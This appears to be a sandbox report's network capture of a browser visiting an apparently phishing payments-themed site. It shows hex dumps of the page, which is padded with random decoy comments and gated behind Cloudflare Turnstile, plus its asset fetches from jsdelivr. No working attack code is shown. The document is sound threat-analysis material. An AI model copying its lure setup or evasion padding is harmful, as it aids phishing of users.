2025-03-04 19:39:52 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=jcf107rrqjj7cudchpj1q997rr; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ioIDO6rxpTKeFZTqsG0zpmN5EewSwdy1C6RpueWQ%2BKK0aSxF2SZ8Mr4s%2BwqF4hKQXIjY4EfXy%2B8WOJ6dKez9a9UxbRKUCPW5rAS%2BLIEKrWXmaTRxTS2RiQXUKz0YYDXMoy%2Bp%2BUw49cL46pyRufOmFeK6cH6rwpitk123PGfn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91b3d792fa494f3a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1695&min_rtt=1695&rtt_var=635&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2861&recv_bytes=1342&delivery_rate=1722713&cwnd=204&unsent_bytes=0&cid=2f8073cf006f0fb5&ts=310&x=0"
2025-03-04 19:39:52 UTC	347	IN	Data Raw: 31 30 63 62 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 77 69 6c 69 67 68 74 51 75 69 72 6b 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 41 20 6c 65 67 65 6e 64 61 72 79 20 73 77 6f 72 64 20 77 61 73 20 66 6f 75 6e 64 20 62 75 72 69 65 64 20 64 65 65 70 20 69 6e 20 74 68 65 20 72 75 69 6e 73 20 6f 66 20 61 6e 20 61 6e 63 69 65 6e 74 20 63 69 74 79 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f Data Ascii: 10cb <html lang="en"> <head> <meta charset="UTF-8"> <title>TwilightQuirk</title> ... <span>A legendary sword was found buried deep in the ruins of an ancient city.</span> --> <meta name="robots" content="no
2025-03-04 19:39:52 UTC	1369	IN	Data Raw: 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 41 20 72 61 72 65 20 62 69 72 64 20 73 70 65 63 69 65 73 20 77 61 73 20 73 70 6f 74 74 65 64 20 6e 65 61 72 20 74 68 65 20 6c 61 6b 65 20 62 79 20 61 6e 20 61 6d 61 74 65 75 72 20 70 68 6f 74 6f 67 72 61 70 68 65 72 2e 3c 2f 70 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 54 68 65 20 73 74 75 64 65 6e 74 73 20 Data Ascii: 1.0"> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>A rare bird species was spotted near the lake by an amateur photographer.</p> --> <style> * /* The students
2025-03-04 19:39:52 UTC	1369	IN	Data Raw: 74 44 72 69 66 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 54 68 65 79 20 74 72 61 76 65 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 63 6f 75 6e 74 72 79 20 74 6f 20 76 69 73 69 74 20 74 68 65 69 72 20 62 65 6c 6f 76 65 64 20 67 72 61 6e 64 6d 6f 74 68 65 72 2e 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 Data Ascii: tDrift { /* They traveled across the country to visit their beloved grandmother. */ font-size: 1rem; margin-bottom: 30px; letter-spacing: 1px; } @media (max-wi
2025-03-04 19:39:52 UTC	1222	IN	Data Raw: 65 78 70 6c 6f 72 65 64 20 61 20 73 75 6e 6b 65 6e 20 73 68 69 70 20 66 69 6c 6c 65 64 20 77 69 74 68 20 61 6e 63 69 65 6e 74 20 74 72 65 61 73 75 72 65 73 2e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 68 65 20 64 65 73 69 67 6e 65 64 20 61 20 66 75 74 75 72 69 73 74 69 63 20 62 75 69 6c 64 69 6e 67 20 74 68 61 74 20 63 6f 75 6c 64 20 77 69 74 68 73 74 61 6e 64 20 65 78 74 72 65 6d 65 20 77 65 61 74 68 65 72 20 63 6f 6e 64 69 74 69 6f 6e 73 2e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 5f 65 54 35 59 6d 69 6c 79 68 6e 31 71 61 22 20 64 61 74 Data Ascii: explored a sunken ship filled with ancient treasures. --> ... She designed a futuristic building that could withstand extreme weather conditions. --> <span class="cf-turnstile" data-sitekey="0x4AAAAAAA_eT5Ymilyhn1qa" dat
2025-03-04 19:39:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:53 UTC	571	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:53 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 04 Mar 2025 19:39:53 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 91b3d798ea4d7ce7-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:53 UTC	652	OUT	GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:53 UTC	727	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1746 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: image/png X-JSD-Version: master X-JSD-Version-Type: branch ETag: W/"6d2-AYrTQKiV+wIbV7PAik2IZG8pgfE" Accept-Ranges: bytes Age: 22657 Date: Tue, 04 Mar 2025 19:39:53 GMT X-Served-By: cache-fra-etou8220171-FRA, cache-ewr-kewr1740078-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-04 19:39:53 UTC	1378	IN	Data Raw: 52 49 46 46 ca 06 00 00 57 45 42 50 56 50 38 4c bd 06 00 00 2f ff c4 3f 11 1e 3a b6 b5 29 92 9c da dd 4c 65 66 c3 f0 78 d3 a6 b4 8a 5e 86 a0 40 cc 54 95 15 59 62 66 96 25 79 da 0a cb ca 9e 86 50 44 dd 3c a3 05 b0 c9 cc e4 cb 65 4b 16 5b 63 89 7c c9 93 20 39 92 a4 48 0a c5 9f 67 29 b3 97 e9 c4 0c 4f 5c 75 65 96 ba aa 87 03 6e 24 49 8e 9c 8a 7e 13 40 2f ae e7 39 27 36 c2 07 c8 dc 34 ba 7b af 51 11 c0 c0 b2 6d 3b 6d b3 ac af 2e 0b 1c e6 e9 37 5f 1d 04 a3 65 c9 9c e2 00 c2 0c 4e 9e 73 27 a0 aa 81 c8 b5 ac 41 2b 9b 3e ca 74 7a 20 5c eb 7a 67 b0 ae b5 8f 08 a7 bb f0 0c 11 9c e0 da 0b d0 38 d4 38 88 5b 83 71 89 5d 8a 0c 5a dd f5 d1 0f a7 6b 1a d4 ba de 1f ac 4d d7 3c 20 82 11 5c 7f 09 82 41 fc c7 7f fc c7 7f fc c7 7f fc 87 18 fd 68 d3 e4 4f 91 91 f0 1f ff f1 1f Data Ascii: RIFFWEBPVP8L/?:)Lefx^@TYbf%yPD<eK[c\| 9Hg)O\uen$I~@/9'64{Qm;m.7_eNs'A+>tz \zg88[q]ZkM< \AhO
2025-03-04 19:39:53 UTC	368	IN	Data Raw: ee 2a c6 ec 56 a7 71 8f 31 3b 44 ad ef 9f c3 33 46 ac 69 db 66 b3 82 6b 25 3c 3b 9b 85 b8 b5 ee ba f0 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff Data Ascii: *Vq1;D3Fifk%<;

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:53 UTC	586	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:53 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:53 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91b3d79c9ddb8c87-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:53 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-04 19:39:53 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Timestamp	Bytes transferred	Direction	Data
